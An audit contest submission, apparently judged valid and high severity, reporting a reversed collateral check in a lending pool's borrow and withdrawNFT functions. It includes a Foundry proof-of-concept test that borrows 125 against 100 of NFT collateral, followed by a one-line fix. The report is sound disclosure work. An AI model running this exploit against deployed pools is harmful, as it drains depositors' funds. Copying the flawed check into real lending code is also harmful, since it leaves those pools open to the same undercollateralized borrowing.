Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Valid

User can borrow more reserve assets than their collateral value

Summary

User can borrow more reserve assets than their collateral value.

Vulnerability Details

When user borrows reserve assets using their NFT collateral, protocol checks the user has enough collateral to cover the debt.

LendingPool::borrow():

// Ensure the user has enough collateral to cover the new debt
if (collateralValue < userTotalDebt.percentMul(liquidationThreshold)) {
revert NotEnoughCollateralToBorrow();
}

Unfortunately, the checking is wrongly implemented and user can borrow more reserve assets than their collateral value.

Assuming the user's collateral value is 100, the borrow amount is 125 and liquidationThreshold is 80%, the checking will wrongly pass as 100 = 125 * 80%.

The same issue exists in withdrawNFT():

LendingPool::withdrawNFT():

if (collateralValue - nftValue < userDebt.percentMul(liquidationThreshold)) {
revert WithdrawalWouldLeaveUserUnderCollateralized();
}

Impact

User can borrow more reserve assets than their collateral value.

POC

Please run forge test --mt testAudit_UserBorrowsMoreThanCollateralValue.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import {Test, console} from "forge-std/Test.sol";
import "../contracts/core/pools/LendingPool/LendingPool.sol";
import "../contracts/core/tokens/RToken.sol";
import "../contracts/core/tokens/DebtToken.sol";
import "../contracts/core/tokens/RAACNFT.sol";
import "../contracts/core/primitives/RAACHousePrices.sol";
contract Audit is Test {
address owner = makeAddr("Owner");
address curveUSDVault;
address crvUSD;
LendingPool lendingPool;
RAACHousePrices raacHousePrices;
RToken rToken;
DebtToken debtToken;
RAACNFT raacNft;
function setUp() public {
vm.createSelectFork("https://eth.llamarpc.com");
curveUSDVault = 0x0655977FEb2f289A4aB78af67BAB0d17aAb84367;
crvUSD = 0xf939E0A03FB07F59A73314E73794Be0E57ac1b4E;
raacHousePrices = new RAACHousePrices(owner);
rToken = new RToken("RToken", "RToken", owner, address(crvUSD));
debtToken = new DebtToken("DebtToken", "DT", owner);
raacNft = new RAACNFT(address(crvUSD), address(raacHousePrices), owner);
lendingPool = new LendingPool(
address(crvUSD),
address(rToken),
address(debtToken),
address(raacNft),
address(raacHousePrices),
0.1e27
);
lendingPool.transferOwnership(owner);
vm.startPrank(owner);
raacHousePrices.setOracle(owner);
rToken.setReservePool(address(lendingPool));
debtToken.setReservePool(address(lendingPool));
vm.stopPrank();
vm.label(curveUSDVault, "Curve USD Vault");
vm.label(crvUSD, "crvUSD");
vm.label(address(rToken), "RToken");
vm.label(address(debtToken), "DebtToken");
vm.label(address(raacNft), "RAAC NFT");
vm.label(address(lendingPool), "LendingPool");
}
function testAudit_UserBorrowsMoreThanCollateralValue() public {
address bob = makeAddr("Bob");
deal(crvUSD, bob, 1000e18);
vm.startPrank(bob);
// Deposit
IERC20(crvUSD).approve(address(lendingPool), 1000e18);
lendingPool.deposit(1000e18);
vm.stopPrank();
// Set house price
vm.prank(owner);
raacHousePrices.setHousePrice(1, 100e18);
address alice = makeAddr("Alice");
deal(crvUSD, alice, 100e18);
vm.startPrank(alice);
IERC20(crvUSD).approve(address(raacNft), 100e18);
raacNft.mint(1, 100e18);
raacNft.approve(address(lendingPool), 1);
lendingPool.depositNFT(1);
lendingPool.borrow(125e18);
vm.stopPrank();
}
}

Tools Used

Manual Review

Recommendations

Implement checking properly.

// Ensure the user has enough collateral to cover the new debt
- if (collateralValue < userTotalDebt.percentMul(liquidationThreshold)) {
+ if (collateralValue.percentMul(liquidationThreshold) < userTotalDebt) {
revert NotEnoughCollateralToBorrow();
}
Updates

Lead Judging Commences

inallhonesty Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

LendingPool::borrow as well as withdrawNFT() reverses collateralization check, comparing collateral < debt*0.8 instead of collateral*0.8 > debt, allowing 125% borrowing vs intended 80%

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.